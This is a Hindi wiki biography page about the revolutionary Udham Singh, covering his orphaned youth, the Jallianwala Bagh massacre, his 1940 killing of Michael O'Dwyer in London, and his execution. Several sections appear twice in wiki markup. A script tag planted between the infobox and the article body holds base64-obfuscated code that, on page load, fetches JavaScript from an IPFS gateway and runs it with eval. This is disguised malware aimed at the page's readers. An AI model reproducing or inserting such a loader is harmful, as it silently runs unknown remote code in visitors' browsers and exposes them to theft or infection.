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'''सरदार ऊधम सिंह / Sardar Udham Singh'''<br />
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|पूरा नाम=ऊधम सिंह
जलियाँवाला बाग में निहत्थों को भूनकर अंग्रेज भारत की आजादी के दीवानों को सबक सिखाना चाहते थे, जिससे वह ब्रिटिश सरकार से टकराने की हिम्मत न कर सकें, किन्तु इस घटना ने स्वतंत्रता की आग को हवा देकर बढ़ा दिया।
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'''ऊधम सिंह''' ([[अंग्रेज़ी]]: ''Udham Singh'', जन्म: [[26 दिसंबर]], [[1899]], सुनाम गाँव, [[पंजाब]]; शहादत: [[31 जुलाई]], [[1940]], पेंटनविले जेल, [[ब्रिटेन]]) [[भारत]] की आज़ादी की लड़ाई में अहम योगदान करने वाले [[पंजाब]] के महान् क्रान्तिकारी थे। अमर शहीद ऊधम सिंह ने [[13 अप्रैल]], [[1919]] ई. को [[पंजाब]] में हुए भीषण [[जलियाँवाला बाग़|जलियाँवाला बाग़ हत्याकांड]] के उत्तरदायी माइकल ओ'डायर की [[लंदन]] में गोली मारकर हत्या करके निर्दोष भारतीय लोगों की मौत का बदला लिया था।
 
==जन्म==
 
==जन्म==
उधम सिंह का जन्म 26 दिसंबर 1899 में [[पंजाब]] के संगरूर ज़िले के सुनाम गाँव में हुआ। ऊधमसिंह की माता और पिता का साया बचपन में ही उठ गया था। उनके जन्म के दो साल बाद 1901 में उनकी माँ का निधन हो गया और 1907 में उनके पिता भी चल बसे। ऊधमसिंह और उनके बड़े भाई मुक्तासिंह को [[अमृतसर]] के खालसा अनाथालय में शरण लेनी पड़ी। 1917 में उनके भाई का भी निधन हो गया। इस प्रकार ऊधमसिंह दुनिया के जुल्मों सितम सहने के लिए ऊधमसिंह बिल्कुल अकेले रह गए।
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ऊधम सिंह का जन्म 26 दिसंबर 1899 में [[पंजाब]] के संगरूर ज़िले के सुनाम गाँव में हुआ। ऊधमसिंह की [[माता]] और [[पिता]] का साया बचपन में ही उठ गया था। उनके जन्म के दो साल बाद [[1901]] में उनकी माँ का निधन हो गया और [[1907]] में उनके पिता भी चल बसे। ऊधमसिंह और उनके बड़े भाई मुक्तासिंह को [[अमृतसर]] के खालसा अनाथालय में शरण लेनी पड़ी। [[1917]] में उनके भाई का भी निधन हो गया। इस प्रकार दुनिया के ज़ुल्मों सितम सहने के लिए ऊधमसिंह बिल्कुल अकेले रह गए। इतिहासकार वीरेंद्र शरण के अनुसार ऊधमसिंह इन सब घटनाओं से बहुत दु:खी तो थे, लेकिन उनकी हिम्मत और संघर्ष करने की ताक़त बहुत बढ़ गई। उन्होंने शिक्षा ज़ारी रखने के साथ ही आज़ादी की लड़ाई में कूदने का भी मन बना लिया। उन्होंने [[चंद्रशेखर आज़ाद]], [[राजगुरु]], [[सुखदेव]] और [[भगतसिंह]] जैसे क्रांतिकारियों के साथ मिलकर ब्रिटिश शासन को ऐसे घाव दिये जिन्हें  ब्रिटिश शासक बहुत दिनों तक नहीं भूल पाए। इतिहासकार डॉ. सर्वदानंदन के अनुसार ऊधम सिंह 'सर्व धर्म सम भाव' के प्रतीक थे और इसीलिए उन्होंने अपना नाम बदलकर राम मोहम्मद आज़ाद सिंह रख लिया था जो [[भारत]] के तीन प्रमुख धर्मो का प्रतीक है।  
 
 
*इतिहासकार वीरेंद्र शरण के अनुसार ऊधमसिंह इन सब घटनाओं से बहुत दु:खी तो थे, लेकिन उनकी हिम्मत और संघर्ष करने की ताक़त बहुत बढ़ गई। उन्होंने शिक्षा ज़ारी रखने के साथ ही आजादी की लड़ाई में कूदने का भी मन बना लिया। उन्होंने [[चंद्रशेखर आज़ाद]], [[राजगुरु]], [[सुखदेव]] और [[भगतसिंह]] जैसे क्रांतिकारियों के साथ मिलकर ब्रिटिश शासन को ऐसे घाव दिये जिन्हें  ब्रिटिश शासक बहुत दिनों तक नहीं भूल पाए।
 
*इतिहासकार डा. सर्वदानंदन के अनुसार ऊधम सिंह 'सर्व धर्म सम भाव' के प्रतीक थे और इसीलिए उन्होंने अपना नाम बदलकर राम मोहम्मद आजाद सिंह रख लिया था जो भारत के तीन प्रमुख धर्मो का प्रतीक है।  
 
 
==स्वतंत्रता आंदोलन में भाग==
 
==स्वतंत्रता आंदोलन में भाग==
स्वतंत्रता आंदोलन के इतिहास में सन 1919 का 13 अप्रैल का दिन आँसुओं में डूबा हुआ है, जब अंग्रेज़ों ने अमृतसर के जलियाँवाला बाग में सभा कर रहे निहत्थे भारतीयों पर अंधाधुंध गोलियाँ चलायीं और सैकड़ों बेगुनाह लोगों को मौत के घाट उतार दिया। मरने वालों में माँओं के सीने से चिपके दुधमुँहे बच्चे, जीवन की संध्या बेला में देश की आज़ादी का सपना देख रहे बूढ़े और देश के लिए सर्वस्व लुटाए को तैयार युवा सभी थे।
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==माइकल ओ'डायर की हत्या==
इस घटना ने ऊधमसिंह को हिलाकर रख दिया और उन्होंने अंग्रेज़ों से इसका बदला लेने की ठान ली। हिन्दू, मुस्लिम और सिख एकता की नींव रखने वाले 'ऊधम सिंह उर्फ राम मोहम्मद आजाद सिंह' ने इस घटना के लिए जनरल माइकल ओ डायर को ज़िम्मेदार माना जो उस समय पंजाब प्रांत का गवर्नर था। गवर्नर के आदेश पर ब्रिगेडियर जनरल रेजीनल्ड, एडवर्ड हैरी डायर, जनरल डायर ने 90 सैनिकों को लेकर जलियांवाला बाग को चारों तरफ से घेर कर मशीनगन से गोलियाँ चलवाईं।
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इस घटना के बाद ऊधमसिंह ने शपथ ली कि वह माइकल ओ'डायर को मारकर इस घटना का बदला लेंगे। अपने मिशन को अंजाम देने के लिए ऊधमसिंह ने अलग अलग नामों से [[अफ्रीका]], नैरोबी, [[ब्राजील]] और [[अमेरिका]] की यात्राएँ की। सन् [[1934]] में ऊधमसिंह [[लंदन]] गये और वहाँ 9 एल्डर स्ट्रीट कमर्शियल रोड़ पर रहने लगे। वहाँ उन्होंने यात्रा के उद्देश्य से एक कार ख़रीदी और अपना मिशन पूरा करने के लिए छह गोलियों वाली एक रिवाल्वर भी ख़रीद ली। भारत का यह वीर क्रांतिकारी माइकल ओ 'डायर को ठिकाने लगाने के लिए सही समय का इंतज़ार करने लगा। ऊधमसिंह को अपने सैकड़ों भाई बहनों की मौत का बदला लेने का मौक़ा [[1940]] में मिला। जलियाँवाला बाग़ हत्याकांड के 21 साल बाद [[13 मार्च]] [[1940]] को 'रॉयल सेंट्रल एशियन सोसायटी' की लंदन के 'कॉक्सटन हॉल' में बैठक थी जहाँ माइकल ओ'डायर भी वक्ताओं में से एक था। [[चित्र:Shaheed-Udham-Singh-Amritsar.jpg|thumb|left|ऊधम सिंह की प्रतिमा, [[अमृतसर]]]] ऊधमसिंह उस दिन समय से पहले ही बैठक स्थल पर पहुँच गए। उन्होंने अपनी रिवाल्वर एक मोटी सी किताब में छिपा ली। उन्होंने किताब के पृष्ठों को रिवाल्वर के आकार में इस तरह से काट लिया, जिसमें डायर की जान लेने वाले हथियार को आसानी से छिपाया जा सके। बैठक के बाद दीवार के पीछे से मोर्चा संभालते हुए ऊधमसिंह ने माइकल ओ'डायर पर गोलियाँ चला दीं। दो गोलियाँ डायर को लगीं, जिससे उसकी तुरन्त मौत हो गई। गोलीबारी में डायर के दो अन्य साथी भी घायल हो गए। ऊधमसिंह ने वहाँ से भागने की कोशिश नहीं की और स्वयं को गिरफ़्तार करा दिया। उन पर मुक़दमा चला। अदालत में जब उनसे सवाल किया गया कि 'वह डायर के साथियों को भी मार सकते थे, किन्तु उन्होंने ऐसा क्यों नहीं किया।' इस पर ऊधमसिंह ने उत्तर दिया कि, वहाँ पर कई महिलाएँ भी थीं और भारतीय संस्कृति में महिलाओं पर हमला करना पाप है। अपने बयान में ऊधमसिंह ने कहा- 'मैंने डायर को मारा, क्योंकि वह इसी के लायक़ था। मैंने ब्रिटिश राज्य में अपने देशवासियों की दुर्दशा देखी है। मेरा कर्तव्य था कि मैं देश के लिए कुछ करूं। मुझे मरने का डर नहीं है। देश के लिए कुछ करके जवानी में मरना चाहिए।'
==विदेश की यात्राएं==
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==बलिदान==
इस के बाद घटना ऊधमसिंह ने शपथ ली कि वह माइकल ओ डायर को मारकर इस घटना का बदला लेंगे। अपने मिशन को अंजाम देने के लिए ऊधमसिंह ने अलग अलग नामों से अफ्रीका, नैरोबी, ब्राजील और अमेरिका की यात्राएँ की। सन 1934 में ऊधमसिंह लंदन गये और वहाँ 9 एल्डर स्ट्रीट कमर्शियल रोड़ पर रहने लगे। वहाँ उन्होंने यात्रा के उद्देश्य से एक कार खरीदी और अपना मिशन पूरा करने के लिए छह गोलियों वाली एक रिवाल्वर भी खरीद ली।
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[[4 जून]] [[1940]] को ऊधम सिंह को डायर की हत्या का दोषी ठहराया गया और [[31 जुलाई]], 1940 को उन्हें 'पेंटनविले जेल' में फाँसी दे दी गयी। इस प्रकार यह क्रांतिकारी [[भारतीय स्वाधीनता संग्राम]] के इतिहास में अपनी शहादत देकर अमर हो गया। [[31 जुलाई]], [[1974]] को [[ब्रिटेन]] ने उनके [[अवशेष]] [[भारत]] को सौंप दिए थे। ऊधम सिंह की अस्थियाँ सम्मान सहित [[भारत]] लायी गईं। उनके [[गाँव]] में उनकी समाधि बनी हुई है।
==प्रतिशोध==
 
भारत का यह वीर क्रांतिकारी माइकल ओ डायर को ठिकाने लगाने के लिए सही समय का इंतजार करने लगा। ऊधमसिंह को अपने सैकड़ों भाई बहनों की मौत का बदला लेने का मौका 1940 में मिला। जलियाँवाला बाग़ हत्याकांड के 21 साल बाद 13 मार्च 1940 को 'रॉयल सेंट्रल एशियन सोसायटी' की लंदन के 'कॉक्सटन हॉल' में बैठक थी जहाँ माइकल ओ डायर भी वक्ताओं में से एक था। ऊधमसिंह उस दिन समय से पहले ही बैठक स्थल पर पहुँच गए। उन्होंने अपनी रिवाल्वर एक मोटी सी किताब में छिपा ली। उन्होंने क़िताब के पृष्ठों को रिवाल्वर के आकार में इस तरह से काट लिया, जिसमें डायर की जान लेने वाले हथियार को आसानी से छिपाया जा सके।
 
==आत्मसमर्पण==
 
बैठक के बाद दीवार के पीछे से मोर्चा संभालते हुए ऊधमसिंह ने माइकल ओ डायर पर गोलियाँ चला दीं। दो गोलियाँ डायर को लगीं, जिससे उसकी तुरन्त मौत हो गई। गोलीबारी में डायर के दो अन्य साथी भी घायल हो गए। ऊधमसिंह ने वहां से भागने की कोशिश नहीं की और स्वयं को गिरफ्तार करा दिया। उन पर मुकदमा चला। अदालत में जब उनसे सवाल किया गया कि 'वह डायर के साथियों को भी मार सकते थे, किन्तु उन्होंने ऐसा क्यों नहीं किया।'
 
 
 
ऊधमसिंह ने उत्तर दिया कि वहां पर कई महिलाएं भी थीं और भारतीय संस्कृति में महिलाओं पर हमला करना पाप है। 4 जून 1940 को ऊधमसिंह को डायर की हत्या का दोषी ठहराया गया और 31 जुलाई 1940 को उन्हें 'पेंटनविले जेल' में फाँसी दे दी गयी। इस प्रकार यह क्रांतिकारी भारतीय स्वाधीनता संग्राम के इतिहास में अमर हो गया। 31 जुलाई 1974 को ब्रिटेन ने उनके अवशेष भारत को सौंप दिए थे।
 
 
 
  
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[[Category:इतिहास_कोश]]
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==टीका-टिप्पणी और संदर्भ==
[[Category:पंजाब]]
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<references/>
[[Category:स्वतन्त्रता_संग्राम_1857]]
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==बाहरी कड़ियाँ==
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*[http://www.sikh-history.com/sikhhist/personalities/udhams.html Shaheed Udham Singh (1899-1940)]
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*[http://www.revolutionarydemocracy.org/rdv7n1/SinghAzad.htm Where has Mohammad Singh Azad Gone?]
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*[http://burabhala.blogspot.in/2009/07/blog-post_4941.html जनरल डायर को नहीं, ओ'डायर को मारा था ऊधम सिंह ने]
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==संबंधित लेख==
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{{स्वतन्त्रता सेनानी}}
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[[Category:स्वतन्त्रता सेनानी]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:इतिहास कोश]]
 
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06:15, 16 मार्च 2022 के समय का अवतरण

ऊधम सिंह
Udham-Singh.jpg
पूरा नाम ऊधम सिंह
अन्य नाम राम मोहम्मद आज़ाद सिंह
जन्म 26 दिसंबर, 1899
जन्म भूमि सुनाम गाँव, पंजाब
मृत्यु 31 जुलाई, 1940 (शहादत)
मृत्यु स्थान पेंटनविले जेल, ब्रिटेन
मृत्यु कारण फाँसी
नागरिकता भारतीय
प्रसिद्धि क्रान्तिकारी
आंदोलन भारतीय स्वतंत्रता आंदोलन
पुरस्कार-उपाधि 'शहीद-ए-आज़म' सरदार ऊधम सिंह
संबंधित लेख जलियाँवाला बाग़, ग़दर पार्टी, जनरल डायर
अन्य जानकारी इतिहासकार डॉ. सर्वदानंदन के अनुसार ऊधम सिंह 'सर्व धर्म सम भाव' के प्रतीक थे और इसीलिए उन्होंने अपना नाम बदलकर राम मोहम्मद आज़ाद सिंह रख लिया था जो भारत के तीन प्रमुख धर्मो का प्रतीक है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ऊधम सिंह (अंग्रेज़ी: Udham Singh, जन्म: 26 दिसंबर, 1899, सुनाम गाँव, पंजाब; शहादत: 31 जुलाई, 1940, पेंटनविले जेल, ब्रिटेन) भारत की आज़ादी की लड़ाई में अहम योगदान करने वाले पंजाब के महान् क्रान्तिकारी थे। अमर शहीद ऊधम सिंह ने 13 अप्रैल, 1919 ई. को पंजाब में हुए भीषण जलियाँवाला बाग़ हत्याकांड के उत्तरदायी माइकल ओ'डायर की लंदन में गोली मारकर हत्या करके निर्दोष भारतीय लोगों की मौत का बदला लिया था।

जन्म

ऊधम सिंह का जन्म 26 दिसंबर 1899 में पंजाब के संगरूर ज़िले के सुनाम गाँव में हुआ। ऊधमसिंह की माता और पिता का साया बचपन में ही उठ गया था। उनके जन्म के दो साल बाद 1901 में उनकी माँ का निधन हो गया और 1907 में उनके पिता भी चल बसे। ऊधमसिंह और उनके बड़े भाई मुक्तासिंह को अमृतसर के खालसा अनाथालय में शरण लेनी पड़ी। 1917 में उनके भाई का भी निधन हो गया। इस प्रकार दुनिया के ज़ुल्मों सितम सहने के लिए ऊधमसिंह बिल्कुल अकेले रह गए। इतिहासकार वीरेंद्र शरण के अनुसार ऊधमसिंह इन सब घटनाओं से बहुत दु:खी तो थे, लेकिन उनकी हिम्मत और संघर्ष करने की ताक़त बहुत बढ़ गई। उन्होंने शिक्षा ज़ारी रखने के साथ ही आज़ादी की लड़ाई में कूदने का भी मन बना लिया। उन्होंने चंद्रशेखर आज़ाद, राजगुरु, सुखदेव और भगतसिंह जैसे क्रांतिकारियों के साथ मिलकर ब्रिटिश शासन को ऐसे घाव दिये जिन्हें ब्रिटिश शासक बहुत दिनों तक नहीं भूल पाए। इतिहासकार डॉ. सर्वदानंदन के अनुसार ऊधम सिंह 'सर्व धर्म सम भाव' के प्रतीक थे और इसीलिए उन्होंने अपना नाम बदलकर राम मोहम्मद आज़ाद सिंह रख लिया था जो भारत के तीन प्रमुख धर्मो का प्रतीक है।

स्वतंत्रता आंदोलन में भाग

स्वतंत्रता आंदोलन के इतिहास में सन् 1919 का 13 अप्रैल का दिन आँसुओं में डूबा हुआ है, जब अंग्रेज़ों ने अमृतसर के जलियाँवाला बाग़ में सभा कर रहे निहत्थे भारतीयों पर अंधाधुंध गोलियाँ चलायीं और सैकड़ों बेगुनाह लोगों को मौत के घाट उतार दिया। मरने वालों में माँओं के सीने से चिपके दुधमुँहे बच्चे, जीवन की संध्या बेला में देश की आज़ादी का सपना देख रहे बूढ़े और देश के लिए सर्वस्व लुटाए को तैयार युवा सभी थे। इस घटना ने ऊधमसिंह को हिलाकर रख दिया और उन्होंने अंग्रेज़ों से इसका बदला लेने की ठान ली। हिन्दू, मुस्लिम और सिख एकता की नींव रखने वाले 'ऊधम सिंह उर्फ राम मोहम्मद आज़ाद सिंह' ने इस घटना के लिए जनरल माइकल ओडायर को ज़िम्मेदार माना जो उस समय पंजाब प्रांत का गवर्नर था। गवर्नर के आदेश पर ब्रिगेडियर जनरल रेजीनल्ड एडवर्ड हैरी डायर ने 90 सैनिकों को लेकर जलियांवाला बाग़ को चारों तरफ से घेर कर मशीनगन से गोलियाँ चलवाईं।

माइकल ओ'डायर की हत्या

इस घटना के बाद ऊधमसिंह ने शपथ ली कि वह माइकल ओ'डायर को मारकर इस घटना का बदला लेंगे। अपने मिशन को अंजाम देने के लिए ऊधमसिंह ने अलग अलग नामों से अफ्रीका, नैरोबी, ब्राजील और अमेरिका की यात्राएँ की। सन् 1934 में ऊधमसिंह लंदन गये और वहाँ 9 एल्डर स्ट्रीट कमर्शियल रोड़ पर रहने लगे। वहाँ उन्होंने यात्रा के उद्देश्य से एक कार ख़रीदी और अपना मिशन पूरा करने के लिए छह गोलियों वाली एक रिवाल्वर भी ख़रीद ली। भारत का यह वीर क्रांतिकारी माइकल ओ 'डायर को ठिकाने लगाने के लिए सही समय का इंतज़ार करने लगा। ऊधमसिंह को अपने सैकड़ों भाई बहनों की मौत का बदला लेने का मौक़ा 1940 में मिला। जलियाँवाला बाग़ हत्याकांड के 21 साल बाद 13 मार्च 1940 को 'रॉयल सेंट्रल एशियन सोसायटी' की लंदन के 'कॉक्सटन हॉल' में बैठक थी जहाँ माइकल ओ'डायर भी वक्ताओं में से एक था।

ऊधम सिंह की प्रतिमा, अमृतसर

ऊधमसिंह उस दिन समय से पहले ही बैठक स्थल पर पहुँच गए। उन्होंने अपनी रिवाल्वर एक मोटी सी किताब में छिपा ली। उन्होंने किताब के पृष्ठों को रिवाल्वर के आकार में इस तरह से काट लिया, जिसमें डायर की जान लेने वाले हथियार को आसानी से छिपाया जा सके। बैठक के बाद दीवार के पीछे से मोर्चा संभालते हुए ऊधमसिंह ने माइकल ओ'डायर पर गोलियाँ चला दीं। दो गोलियाँ डायर को लगीं, जिससे उसकी तुरन्त मौत हो गई। गोलीबारी में डायर के दो अन्य साथी भी घायल हो गए। ऊधमसिंह ने वहाँ से भागने की कोशिश नहीं की और स्वयं को गिरफ़्तार करा दिया। उन पर मुक़दमा चला। अदालत में जब उनसे सवाल किया गया कि 'वह डायर के साथियों को भी मार सकते थे, किन्तु उन्होंने ऐसा क्यों नहीं किया।' इस पर ऊधमसिंह ने उत्तर दिया कि, वहाँ पर कई महिलाएँ भी थीं और भारतीय संस्कृति में महिलाओं पर हमला करना पाप है। अपने बयान में ऊधमसिंह ने कहा- 'मैंने डायर को मारा, क्योंकि वह इसी के लायक़ था। मैंने ब्रिटिश राज्य में अपने देशवासियों की दुर्दशा देखी है। मेरा कर्तव्य था कि मैं देश के लिए कुछ करूं। मुझे मरने का डर नहीं है। देश के लिए कुछ करके जवानी में मरना चाहिए।'

बलिदान

4 जून 1940 को ऊधम सिंह को डायर की हत्या का दोषी ठहराया गया और 31 जुलाई, 1940 को उन्हें 'पेंटनविले जेल' में फाँसी दे दी गयी। इस प्रकार यह क्रांतिकारी भारतीय स्वाधीनता संग्राम के इतिहास में अपनी शहादत देकर अमर हो गया। 31 जुलाई, 1974 को ब्रिटेन ने उनके अवशेष भारत को सौंप दिए थे। ऊधम सिंह की अस्थियाँ सम्मान सहित भारत लायी गईं। उनके गाँव में उनकी समाधि बनी हुई है।


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